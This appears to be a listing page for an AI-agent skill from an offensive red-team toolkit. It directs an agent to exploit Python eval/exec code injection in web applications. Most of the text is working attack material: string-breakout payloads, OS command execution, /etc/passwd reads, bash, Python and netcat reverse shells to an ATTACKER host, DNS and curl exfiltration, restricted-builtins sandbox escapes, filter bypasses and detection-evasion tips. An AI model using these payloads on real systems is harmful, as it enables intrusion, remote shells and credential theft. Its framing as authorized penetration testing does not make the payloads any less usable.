Agent skill

python-code-injection

Exploit Python eval(), exec(), and compile() injection in web applications. Distinct from OS command injection (shell operators) and SSTI (template engines) — this targets direct Python code evaluation of user input.

Stars 126
Forks 14

Install this agent skill to your Project

npx add-skill https://github.com/blacklanternsecurity/red-run/tree/main/skills/web/python-code-injection

SKILL.md

Python Code Injection

You are helping a penetration tester exploit Python code injection via eval(), exec(), or compile(). The target application passes user-controlled input to a Python code evaluation function without proper sanitization. The goal is to execute arbitrary Python code and escalate to OS command execution. All testing is under explicit written authorization.

This is NOT OS command injection. Shell operators (;, |, &&) do not work because the injection context is a Python interpreter, not a shell. You must write valid Python expressions or statements.

This is NOT SSTI. Template injection targets Jinja2/Twig/Freemarker rendering engines. This skill targets direct eval()/exec() calls in application code. If {{7*7}} returns 49, route to ssti-jinja2 or ssti-twig instead. If {{7*7}} returns literally but 7*7 evaluates, you're in the right place.

Engagement Logging

Check for ./engagement/ directory. If absent, proceed without logging.

When an engagement directory exists:

  • Print [python-code-injection] Activated → <target> to the screen on activation.
  • Evidence → save significant output to engagement/evidence/ with descriptive filenames (e.g., sqli-users-dump.txt, ssrf-aws-creds.json).

Scope Boundary

This skill covers Python code injection through eval(), exec(), and compile() — from confirming the injection through achieving OS command execution. When you reach the boundary of this scope — whether through completing your methodology or discovering findings outside your domain — STOP.

Do not load or execute another skill. Do not continue past your scope boundary. Instead, return to the orchestrator with:

  • What was found (vulns, credentials, access gained)
  • Context to pass (injection point, target, working payloads, etc.)

The orchestrator decides what runs next. Your job is to execute this skill thoroughly and return clean findings.

Stay in methodology. Only use techniques documented in this skill. If you encounter a scenario not covered here, note it and return — do not improvise attacks, write custom exploit code, or apply techniques from other domains. The orchestrator will provide specific guidance or route to a different skill.

State Management

Call get_state_summary() from the state MCP server to read current engagement state. Use it to:

  • Skip re-testing targets, parameters, or vulns already confirmed
  • Leverage existing credentials or access for this technique
  • Understand what's been tried and failed (check Blocked section)

Your return summary must include:

  • New targets/hosts discovered (with ports and services)
  • New credentials or tokens found
  • Access gained or changed (user, privilege level, method)
  • Vulnerabilities confirmed (with status and severity)
  • Pivot paths identified (what leads where)
  • Blocked items (what failed and why, whether retryable)

Prerequisites

  • A parameter that gets passed to Python eval(), exec(), or compile()
  • Common vulnerable patterns: search engines (Searchor), calculators, query builders, dynamic filters, format string handlers, custom DSLs backed by eval
  • Knowledge of the injection context (string argument, numeric, f-string, etc.)

Step 1: Assess

If not already provided, determine:

  1. Injection function — eval() (expressions only) vs exec() (statements) vs compile() (either)
  2. Injection context — is input placed inside a string literal, as a bare argument, in an f-string, or concatenated into code?
  3. Visible or blind — is the return value of eval() reflected in the response, or is this blind (side-channel only)?
  4. Sanitization — are any characters filtered? (quotes, parens, underscores, dots, brackets)

Distinguishing eval() from exec()

Feature eval() exec()
Accepts Expressions only Statements and expressions
Returns Expression result None
import os SyntaxError Works
Multi-line No (single expression) Yes
Assignment (x=1) SyntaxError Works

If you can execute __import__('os') but not import os, it's likely eval(). If both work, it's likely exec() or compile().

Common Vulnerable Patterns

Pattern 1: String interpolation into eval (most common)

python
# Application code:
result = eval(f"func('{user_input}')")
# Injection: break out of the string, inject code, comment out remainder

Pattern 2: Direct eval of parameter

python
# Application code:
result = eval(request.args.get('expr'))
# Injection: any Python expression works directly

Pattern 3: exec() with string building

python
# Application code:
exec(f"variable = '{user_input}'")
# Injection: break out of string, inject statements

Pattern 4: eval() in ORM/filter context

python
# Application code:
query = eval(f"Model.objects.filter({user_input})")
# Injection: close the filter, chain arbitrary code

Skip assessment if context was already provided by web-discovery or the orchestrator.

Step 2: Confirm Injection

Quick Confirmation Probes

Test these in order — the first one that returns an evaluated result (not a literal echo) confirms eval() injection:

# Arithmetic — most universal
7*7
str(7*7)

# String operations
'A'*3
str(type(1))

# Python builtins
str(True)
str(len('test'))

Expected responses for confirmation:

  • 7*749 (not the literal 7*7)
  • 'A'*3AAA
  • str(type(1))<class 'int'>

Disambiguate from SSTI

If 7*7 returns 49, also test template syntax to rule out SSTI:

{{7*7}}     → if this ALSO returns 49, route to ssti-jinja2 or ssti-twig
${7*7}      → if this returns 49, route to ssti-freemarker
<%= 7*7 %>  → if this returns 49, route to ERB SSTI

If template syntax returns literally but bare Python expressions evaluate → this is eval() injection, not SSTI.

Error-Based Confirmation

Inject invalid Python to trigger error messages:

'
)
(
__import__

Python tracebacks in the response (SyntaxError, NameError, TypeError) confirm Python code evaluation. The traceback may also reveal:

  • The eval()/exec() call in the stack trace
  • The file path of the application
  • The full code context around the injection point

Step 3: Breakout Payloads

The breakout strategy depends on the injection context. Identify which context you're in, then use the matching payload pattern.

Context A: Input Inside a String Argument

The most common pattern — your input is placed inside quotes within a function call:

python
# Application code:
eval(f"Engine.search('{INJECTION}', copy_url=False)")

Breakout strategy: Close the string and function call, concatenate your code, comment out the trailing syntax.

python
# Payload template:
# CLOSE_STR + CLOSE_PARENS + OPERATOR + CODE + COMMENT

# Read /etc/passwd
test',copy_url=False)+str(open('/etc/passwd').read())#

# Execute OS command
test',copy_url=False)+str(__import__('os').popen('id').read())#

# With named args to satisfy function signature
test',copy_url=False,open_web=False)+str(__import__('os').popen('id').read())#

Adjust the closing syntax to match the context:

python
# If inside double quotes:
test",copy_url=False)+str(__import__('os').popen('id').read())#

# If inside parens inside a string:
test'),key=val)+str(__import__('os').popen('id').read())#

# If multiple nested calls:
test'))+str(__import__('os').popen('id').read())#

Context B: Direct Expression Evaluation

Input is passed directly to eval() without wrapping:

python
# Application code:
result = eval(user_input)

No breakout needed — inject Python expressions directly:

python
# OS command execution
__import__('os').popen('id').read()

# File read
open('/etc/passwd').read()

# Reverse shell
__import__('os').system('bash -c "bash -i >& /dev/tcp/ATTACKER/PORT 0>&1"')

Context C: Numeric/Arithmetic Context

Input expected to be a number in an arithmetic expression:

python
# Application code:
result = eval(f"{user_input} * price")

Breakout strategy: Satisfy the arithmetic, then chain code:

python
# Payload:
1+0 if __import__('os').system('id') else 0
(1).__class__.__bases__[0].__subclasses__()

# With string concatenation to exfiltrate:
str(__import__('os').popen('id').read())+str(0*

Context D: exec() with Statement Injection

If exec() is used, you can inject full Python statements:

python
# Close the existing statement, inject new ones
'; import os; os.system('id') #
' + ''; import os; os.system('id') #

# Multi-statement via semicolons
a=1; import os; os.system('id')

# Newline injection (if %0a is not filtered)
%0aimport os%0aos.system('id')

Step 4: Command Execution Payloads

Once you can inject arbitrary Python expressions, achieve OS command execution.

Primary Payloads (use these first)

python
# popen — returns output (best for visible injection)
__import__('os').popen('id').read()
__import__('os').popen('cat /etc/passwd').read()
__import__('os').popen('whoami').read()

# system — returns exit code only (0 = success)
__import__('os').system('id')
__import__('os').system('bash -c "bash -i >& /dev/tcp/ATTACKER/PORT 0>&1"')

# subprocess
__import__('subprocess').check_output('id',shell=True).decode()
__import__('subprocess').check_output(['cat','/etc/passwd']).decode()

Wrapping for Visible Output

When the application returns the eval() result, wrap commands to ensure output is captured:

python
# Wrap in str() for string coercion
str(__import__('os').popen('id').read())

# Concatenate with expected return value (stealth)
'https://google.com/'+__import__('os').popen('id').read()

# Multiple commands in one injection
str(__import__('os').popen('id && whoami && cat /etc/passwd').read())

Reverse Shell Payloads

python
# Bash reverse shell
__import__('os').system('bash -c "bash -i >& /dev/tcp/ATTACKER/PORT 0>&1"')

# Python reverse shell (if bash is restricted)
__import__('os').system('python3 -c \'import socket,subprocess,os;s=socket.socket(socket.AF_INET,socket.SOCK_STREAM);s.connect(("ATTACKER",PORT));os.dup2(s.fileno(),0);os.dup2(s.fileno(),1);os.dup2(s.fileno(),2);subprocess.call(["/bin/sh","-i"])\'')

# Netcat reverse shell
__import__('os').system('rm /tmp/f;mkfifo /tmp/f;cat /tmp/f|/bin/sh -i 2>&1|nc ATTACKER PORT >/tmp/f')

Blind Injection (No Output Reflected)

When eval() result is not returned in the response:

python
# Time-based confirmation
__import__('time').sleep(5)

# DNS exfiltration
__import__('os').system('host $(whoami).ATTACKER.com')

# HTTP exfiltration
__import__('os').system('curl http://ATTACKER:PORT/$(whoami)')

# File write (retrieve via LFI or directory listing)
__import__('os').system('id > /var/www/html/proof.txt')

# Reverse shell (most practical for blind)
__import__('os').system('bash -c "bash -i >& /dev/tcp/ATTACKER/PORT 0>&1"')

Step 5: Filter Bypass and Sandbox Escape

Bypassing Character Filters

Underscores (_) blocked:

python
# Use getattr() and chr()
getattr(getattr(__builtins__,chr(95)*2+'import'+chr(95)*2),'os')

# Use globals/locals
globals()[chr(95)*2+'builtins'+chr(95)*2]

# Via string concatenation
getattr('',chr(95)*2+'class'+chr(95)*2)

Dots (.) blocked:

python
# Use getattr()
getattr(__import__('os'),'popen')('id')

# Use bracket notation on dicts
__import__('os').__dict__['popen']('id')

Quotes (', ") blocked:

python
# Use chr() to build strings
__import__(chr(111)+chr(115)).popen(chr(105)+chr(100)).read()

# Use bytes decoding
__import__(bytes([111,115]).decode()).popen(bytes([105,100]).decode()).read()

# Use string from existing objects
# 'os' from an exception message, class name, etc.

Parentheses ((, )) blocked:

This is severe — most Python code requires parens. Possible workarounds:

python
# Decorator abuse (exec context only)
@exec
@input
class X:pass
# Then type your payload at the prompt

# List comprehension with side effects
[x for x in [__import__] if x.__call__]

Brackets ([, ]) blocked:

python
# Use __getitem__ via getattr
getattr(mylist,'__getitem__')(0)

# Use next(iter()) instead of [0]
next(iter(__import__('os').popen('id')))

Restricted Builtins Bypass

When __builtins__ is restricted or __import__ is removed:

Subclass chain (the universal bypass):

python
# Find a subclass that has access to os or subprocess
# Step 1: Get object base class
''.__class__.__mro__[1].__subclasses__()

# Step 2: Find useful subclass (os._wrap_close, subprocess.Popen, etc.)
# Enumerate to find the index:
[x for x in ''.__class__.__mro__[1].__subclasses__() if 'wrap_close' in str(x)]

# Step 3: Use it — os._wrap_close has __init__.__globals__ with os module
''.__class__.__mro__[1].__subclasses__()[INDEX].__init__.__globals__['popen']('id').read()

Finding the right subclass index:

python
# Dump all subclasses with indices
[(i,x) for i,x in enumerate(''.__class__.__mro__[1].__subclasses__()) if 'os' in str(getattr(getattr(x,'__init__',None),'__globals__',{}))]

# Common targets:
# os._wrap_close — has popen, system in __globals__
# subprocess.Popen — direct command execution
# importlib._bootstrap.BuiltinImporter — can import modules
# warnings.catch_warnings — has builtins in __globals__

Compact subclass exploit (finds os._wrap_close automatically):

python
[x for x in ''.__class__.__mro__[1].__subclasses__() if 'wrap_close' in str(x)][0].__init__.__globals__['popen']('id').read()

Via globals on any function:

python
# Any defined function's __globals__ dict contains builtins
(lambda: 0).__globals__['__builtins__'].__import__('os').popen('id').read()

Via exception handler:

python
# Trigger exception, access traceback globals
try:
    raise Exception()
except Exception as e:
    import sys
    tb = sys.exc_info()[2]
    tb.tb_frame.f_globals['__builtins__']['__import__']('os').system('id')

URL Encoding for Web Delivery

When injecting through HTTP parameters, URL-encode special characters:

# Spaces: + or %20
# Single quote: %27
# Double quote: %22
# Hash/comment: %23
# Newline: %0a
# Parentheses: %28 %29

Use --data-urlencode with curl to handle encoding automatically:

bash
curl -s -X POST http://TARGET/endpoint \
  --data-urlencode "param=PAYLOAD_HERE"

Step 6: Escalate or Pivot

Credential-Based Access Handoff

When code injection reveals credentials (config files, git repos, environment variables, database connection strings), write a handoff for the operator:

  1. Save discovered credentials to engagement/evidence/
  2. Write connection commands the operator can run
  3. Report in your return summary: credentials and Pivot Map entry
  4. Tell the operator: "Credentials found. SSH handoff ready — connect from your terminal."

Do NOT attempt to establish SSH/WinRM sessions programmatically from the injection context — it's fragile and wastes turns debugging interactive auth issues.

Reverse Shell

If credentials aren't found but command execution is confirmed:

  1. Start a listener on the attackbox: nc -lvnp PORT
  2. Inject a reverse shell payload from Step 4
  3. Stabilize: python3 -c 'import pty; pty.spawn("/bin/bash")'

Routing

  • Shell as non-root on Linux → STOP. Return to orchestrator recommending linux-discovery. Pass: hostname, current user, access method (injection-based RCE or reverse shell).
  • Shell as non-admin on Windows → STOP. Return to orchestrator recommending windows-discovery. Pass: hostname, current user, access method.
  • Found credentials → report credentials, test against SSH/RDP/WinRM/other services. Return to orchestrator recommending the appropriate discovery skill.
  • Blind injection only, no shell → extract credentials via DNS/HTTP exfiltration (file reads: config files, .env, .git/config, SSH keys), then use credentials for direct access.

When routing, always pass along: injection point, working payload, target platform, and any credentials found.

OPSEC Notes

  • eval()/exec() injection generates Python tracebacks on errors — visible in application logs
  • OS commands via system()/popen() create child processes visible in ps
  • Reverse shells generate network connections logged by netflow/EDR
  • File reads via open() don't create shell processes — lower detection surface than os.popen()
  • Prefer open('/path').read() for file reads over os.popen('cat /path') — no child process created
  • Blind time-based probes (time.sleep()) are stealthy — no process creation, no network traffic
  • URL-encoded payloads are logged in web server access logs in encoded form

Troubleshooting

Payload Returns Empty or None

  • eval() returns the expression result — use str() to coerce to string
  • system() returns exit code (int), not output — use popen().read() instead
  • Check if the application wraps the result (e.g., redirects instead of displaying)

SyntaxError in Response

  • You're likely in eval() (expression-only) and injected a statement (import, assignment). Use __import__() instead of import, use walrus operator := instead of = (Python 3.8+)
  • Check quoting context — are you inside single quotes, double quotes, or unquoted?
  • Count your parentheses — unbalanced parens cause SyntaxError

NameError: import Not Defined

  • __builtins__ may be restricted. Use the subclass chain (Step 5)
  • Try __builtins__.__import__ explicitly
  • Try getattr(__builtins__, '__import__')
  • If __builtins__ is a dict (not module): __builtins__['__import__']

Input is Truncated

  • Web parameter length limits. Try POST instead of GET
  • Use shorter payloads: __import__('os').system('id') is shorter than __import__('subprocess').check_output('id',shell=True).decode()
  • For very tight limits, stage: write a short file downloader, then download and execute a full payload

Application Crashes After Injection

  • The injected code may cause an unhandled exception. Wrap in try/except: (lambda:(__import__('os').popen('id').read()))() or ensure your payload produces a value the application can handle
  • If using # to comment out trailing code, ensure there's no critical cleanup being skipped (connection closing, transaction commits)

Can Execute Code but No External Network Access

  • Target may be in an isolated network. Use the injection for file reads to extract credentials, then pivot via SSH/internal services
  • Write results to a web-accessible path and retrieve via HTTP
  • Use the injection as a webshell equivalent: script repeated curl calls to execute commands and retrieve output

Expand your agent's capabilities with these related and highly-rated skills.

blacklanternsecurity/red-run

credential-recovery

Offline credential and file recovery with hashcat and john. Use when any skill captures hashes (NTLM, Kerberos TGS/AS-REP, shadow, MSCACHE2) or encrypted files (ZIP, Office, PDF, KeePass, SSH key, 7z, RAR). Trigger phrases: "recover this hash", "offline recovery", "john", "hashcat", "zip2john", "password-protected file". Do NOT use for online password attacks (spraying, brute force against services) — use password-spraying instead.

126 14
Explore
blacklanternsecurity/red-run

remote-access-enumeration

Enumeration of remote access services: FTP, SSH, RDP, VNC, and WinRM. Checks anonymous access, default credentials, version vulnerabilities, and authentication methods. Use after network-recon identifies remote access ports.

126 14
Explore
blacklanternsecurity/red-run

smb-enumeration

SMB share enumeration, access testing, password policy extraction, and content searching. Enumerates shares via null session, guest, and authenticated access. Covers share listing, per-share access testing, MANSPIDER content search, and SMB vulnerability detection (signing, EternalBlue). Use after network-recon identifies SMB ports (139/445).

126 14
Explore
blacklanternsecurity/red-run

infrastructure-enumeration

Enumeration of infrastructure services: DNS, SMTP, SNMP, IPMI, NFS, TFTP, RPC/MSRPC, and HTTP/HTTPS surface detection. Checks zone transfers, open relays, default community strings, cipher zero, NFS exports, and web technology fingerprinting. Use after network-recon identifies infrastructure ports.

126 14
Explore
blacklanternsecurity/red-run

network-recon

Network reconnaissance, host discovery, port scanning, and OS fingerprinting. Produces a port/service map that the orchestrator uses to route to service-specific enumeration skills.

126 14
Explore
blacklanternsecurity/red-run

container-escapes

Container escape, Docker breakout, and Kubernetes exploitation.

126 14
Explore

Didn't find tool you were looking for?

Be as detailed as possible for better results